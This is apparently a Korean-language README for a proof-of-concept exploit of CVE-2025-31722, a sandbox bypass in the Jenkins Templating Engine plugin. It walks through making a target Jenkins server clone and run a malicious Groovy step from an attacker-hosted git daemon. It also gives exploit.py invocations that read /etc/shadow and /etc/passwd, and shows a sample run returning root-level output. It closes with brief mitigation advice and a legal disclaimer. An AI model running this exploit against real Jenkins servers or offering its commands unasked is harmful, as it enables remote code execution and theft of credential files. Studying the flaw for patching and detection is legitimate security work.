
CVE-2025-31722 — Jenkins Templating Engine RCE
교육 및 승인된 보안 연구 목적으로만 사용하세요.
Jenkins Templating Engine (JTE) 플러그인 <= 2.5.3에서 발생하는 샌드박스 우회 취약점으로, 낮은 권한의 사용자가 Jenkins 서버에서 임의 코드를 실행할 수 있습니다.
이 결함은 JTE가 폴더 수준의 GovernanceTier 설정에 정의된 외부 git 저장소에서 라이브러리를 로드하고, 해당 라이브러리의 단계를 작업을 생성한 사용자의 권한 수준에 관계없이 Groovy 샌드박스 외부에서 실행하기 때문에 발생합니다.
CVSS: 8.8 (높음)
유형: 샌드박스 우회 → RCE
영향받는 구성 요소: pipeline-templating-engine 플러그인 ≤ 2.5.3
수정 버전: 2.5.4+
공격자 (Kali) Jenkins 서버
─────────────── ──────────────
1. evil.groovy가 포함된 git 저장소 생성
2. :9418 포트에서 git 데몬 시작
3. Jenkins에 폴더 생성 → GovernanceTier가 있는 폴더
git://KALI:9418/…를 가리킴 공격자의 저장소를 가리킴
4. AdHoc 템플릿으로 작업 생성 → 작업이 evil() 호출
5. 빌드 트리거 → JTE가 Kali에서 저장소 복제
샌드박스 외부에서 evil() 실행
← Jenkins 사용자로 RCE
cloudbees-folder, git, workflow-aggregatorattacker 권한: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILDgit 설치requestspip install requests
Debian/Ubuntu 서버에 설치된 설정은 Jenkins, 사용자, 권한 및 필요한 플러그인을 구성합니다. 악성 콘텐츠를 생성하지 않습니다 — 이는 PoC에서만 처리됩니다.
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP>
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cmd "cat /etc/shadow"
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cleanup
setup_repo() — 실행할 명령어가 포함된 ~/jte-exploit/evil-lib/steps/evil.groovy를 Kali에 생성start_git_daemon() — Kali의 9418 포트에서 git daemon 시작create_folder() — git://KALI:9418/jte-exploit를 가리키는 GovernanceTier가 있는 폴더를 Jenkins에 생성create_job() — evil-lib을 선언하고 evil()을 호출하는 AdHocTemplateFlowDefinition을 사용한 작업 생성trigger_and_wait() — 빌드를 트리거하고 결과를 기다림print_output() — RCE 결과가 포함된 콘솔 출력 표시git 데몬은 전체 빌드 주기 동안 활성 상태를 유지하며 빌드가 완료되면 자동으로 종료됩니다.
=================================================================
CVE-2025-31722 — Jenkins 템플릿 엔진 RCE
대상 : http://10.211.55.10:8080
Git 호스트: 10.211.55.7
명령어 : id && hostname && cat /etc/passwd
=================================================================
[+] 인증됨: attacker (id=attacker)
[+] 저장소 생성됨: /root/jte-exploit
[+] 악성 단계: evil-lib/steps/evil.groovy
[+] Git 데몬 실행 중: git://10.211.55.7:9418/jte-exploit
[+] 폴더 생성됨
[+] 작업 생성됨
[+] 빌드 대기 중
=================================================================
CVE-2025-31722 — RCE 출력
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================
Item/CREATE 및 Item/CONFIGURE 권한을 신뢰할 수 있는 사용자로만 제한GovernanceTier 설정이 있는 폴더 감사법적 고지: 이 PoC는 교육 목적 및 통제된 환경에서의 테스트만을 위한 것입니다. 명시적 승인 없이 시스템에 사용하는 것은 불법입니다.
| 매개변수 | 설명 | 필수 |
|---|
--url | Jenkins 기본 URL | 예 |
--user | Item/CREATE+CONFIGURE+BUILD 권한을 가진 사용자 | 예 |
--pass | 사용자 비밀번호 | 예 |
--git-host | Jenkins에서 접근 가능한 Kali IP | 예 |
--cmd | 서버에서 실행할 명령어 (기본값: id && hostname && cat /etc/passwd) | 아니요 |
--cleanup | 익스플로잇이 생성한 폴더, 작업 및 저장소 삭제 | 아니요 |